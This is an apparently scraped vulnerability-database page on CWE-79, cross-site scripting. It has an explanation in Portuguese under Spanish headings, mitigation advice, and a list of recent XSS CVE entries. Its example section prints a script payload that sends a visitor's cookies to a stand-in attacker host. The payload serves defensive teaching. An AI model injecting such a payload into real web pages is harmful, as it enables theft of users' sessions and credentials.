Fallos del tipo CWE-79

30.587 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2025-57543MEDIUMCross Site scripting vulnerability (XSS) in NetBox 4.3.5 "comment" field on object forms. An attacker can inject arbitrary HTML, which will EPSS 0.2%CVE-2025-15562MEDIUMReflected Cross-Site Scripting in NesterSoft WorkTimeEPSS 0.2%CVE-2025-8444MEDIUMAnimation Addons for Elementor – GSAP Powered Elementor Addons & Website Templates <= 4.2.6 - Authenticated (Contributor+) DOM-Based Stored Cross-Site Scripting via Multiple ParametersEPSS 0.2%CVE-2026-110079MEDIUMAdobe Experience Manager | Cross-site Scripting (DOM-based XSS) (CWE-79)EPSS 0.2%CVE-2026-27683MEDIUMReflected cross site scripting vulnerability in SAP BusinessObjects Business Intelligence PlatformEPSS 0.2%CVE-2025-56537MEDIUMA stored cross-site scripting (XSS) vulnerability in opennebula v6.10.0.1 and fixed in v.7.0 allows attackers to execute arbitrary web scripEPSS 0.2%CVE-2026-111737LOWSpeed Optimizer < 7.8.5 - Admin+ Stored XSS via DNS Prefetch and Font Preload URL ListsEPSS 0.2%CVE-2026-110075MEDIUMAdobe Experience Manager | Cross-site Scripting (DOM-based XSS) (CWE-79)EPSS 0.2%CVE-2026-76719HIGHHPE OneView - Cross-site scripting vulnerabilityEPSS 0.2%CVE-2025-64198HIGHWordPress Easy Social Share Buttons plugin < 10.7.1 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.2%CVE-2026-106628MEDIUMAdobe Experience Manager | Cross-site Scripting (DOM-based XSS) (CWE-79)EPSS 0.2%CVE-2025-36126MEDIUMIBM Cognos Analytics is affected by Cross-site scripting.EPSS 0.2%CVE-2025-62076HIGHWordPress Simple Payment plugin <= 2.4.6 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.2%CVE-2026-4791MEDIUMPeproDev Ultimate Profile Solutions <= 8.2.36 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'button' AttributeEPSS 0.2%CVE-2026-33386LOWXSS in QuickCMSEPSS 0.2%CVE-2025-56535MEDIUMA cross-site scripting (XSS) vulnerability in opennebula v6.10.0.1 allows attackers to execute arbitrary web scripts or HTML via injecting aEPSS 0.2%CVE-2026-108852LOWDeep Chat through 2.5.1 XSS via Markdown Link Validation BypassEPSS 0.2%CVE-2026-110074MEDIUMAdobe Experience Manager | Cross-site Scripting (DOM-based XSS) (CWE-79)EPSS 0.2%CVE-2026-101270LOWHTML injectionEPSS 0.2%CVE-2024-27123MEDIUMQcalAgentEPSS 0.2%